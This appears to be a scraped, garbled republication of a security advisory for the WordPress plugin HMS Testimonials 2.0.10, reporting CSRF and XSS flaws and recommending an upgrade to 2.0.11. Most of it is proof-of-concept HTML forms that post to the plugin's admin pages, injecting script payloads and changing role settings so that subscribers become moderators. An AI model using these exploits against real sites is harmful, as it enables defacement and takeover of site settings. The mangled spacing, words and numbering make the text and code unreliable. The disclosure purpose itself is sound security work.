Wordpress HMS Testimonials Plugin 2.0.10 multiple defects and repair

Source: Internet
Author: User

Affected program: HMS Testimonials ( http://wordpress.org/plugins/hms-testimonials/ ) Affected Version: 2.0.10 type: Wordpress plug-in developer: Jeff Kreitner ( http://profiles.wordpress.org/kreitje/ ) Defects:-Cross-Site Request Forgery (CWE-352)-Cross-Site Scripting (CWE-79) overview ================================== Display your customer testimonials on pages or posts. use groups to organize and display specific testimonnials on specific pages. defect: This plugin is vulnerable to CSRF on all forms, as well as XSS on some of them 1. testimonials is vulnerable to CSRF and XSS2. Group is vulnerable to CSRF3. Settings3. 1. default is vulnerable to CSRF3.2. Advanced is vulnerable to CSRF3.3. Custom Fields is vulnerable to CSRF and XSS3.4. Templates is vulnerable to CSRF and XSS This can be used in wrong different ways, like defacement of both public site and the admin area (only the HMS Testimonials plugin area will be affected), modify settings to set a lower role as moderator (very harmful on sites with open regi Strations), etc. test Certificate ===============================1. testimonial <form method = "post" action = "http: // www.2cto.com/wp-admin/admin. php? Page = hms-testimonials-addnew "> <input type =" hidden "name =" name "value =" <script> alert ('xss ') </script> "> <input type =" hidden "name =" image "value =" <script> alert ('xsss ') </script> "> <input type =" hidden "name =" testimonial_date "value =" 08/08/2013 "> <input type =" hidden "name =" url "value =" <script> alert (String. fromCharCode (88,83, 83) </script> "> <input type =" hidden "name =" testimonial "value =" <script> alert ('xsss ') </script> "> <input type =" hidden "name =" display "value =" 1 "> <input type =" submit "name =" save "value =" Save testimonial "> </form> 2. group <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-addnewgroup&noheader=true "> <Input type =" hidden "name =" name "value =" New group "> <input type =" submit "name =" save "value =" Save Group "> </form> 3.1. settings-Default <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings "> <Input type =" hidden "name =" active_links_nofollow "value =" 1 "> <input type =" hidden "name =" image_width "value = '000000'> <input type = "hidden" name = "image_height" value = '000000'> <input type = "hidden" name = "date_format" value ='m/d/Y "> <script> alert (3) </script> '> <input type = "hidden" name = "testimonial_container" value = 'div'> <input type = "hidden" name = "recaptcha_publickey" value = ""> <input type = "hidden" name = "recaptcha_privatekey" value = ""> <input type = "submit" name = "save" value = "Save Settings (Default) "> </form> 3.2. settings-Advanced <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings -Advanced "> <input type =" hidden "name =" moderator "value =" subscriber "> <input type =" hidden "name =" roles "value =" subscriber "> <input type = "hidden" name = "num_users_can_create" value = "9999"> <input type = "hidden" name = "autoapprove" value = "subscriber"> <input type = "hidden" name = "moderators_can_access_settings" value = "1"> <input type = "hidden" name = "js_load" value = "1"> <input type = "hidden" name = "roleorder []" value = "editor"> <input type = "hidden" name = "roleorder []" value = "author"> <input type = "hidden" name = "roleorder []" value = "contributor"> <input type = "hidden" name = "roleorder []" value = "subscriber"> <input type = "submit" name = "save" value = "Save Settings (Advanced) "> </form> 3.3. settings-Custom Fields <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings -Fields "> <input type =" hidden "name =" name "value =" xss "> <input type =" hidden "name =" type "value =" textarea "> <input type = "hidden" name = "showonform" value = "1"> <input type = "submit" name = "save" value = "Save Settings (Custom Fields) "> </form> 3.4. settings-Template <form method = "post" action =" http://wordpress/wp-admin/admin.php?page=hms-testimonials-templates-new "> <Input type =" hidden "name =" name "value =" New template <script> alert ('xsss ') </script> "> <input type =" hidden "name =" item [] "value =" system_id "> <input type =" submit "name =" save "value = "Settings Templates (Save) "> </form> solution: upgrade to HMS Testimonials 2.0.11.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.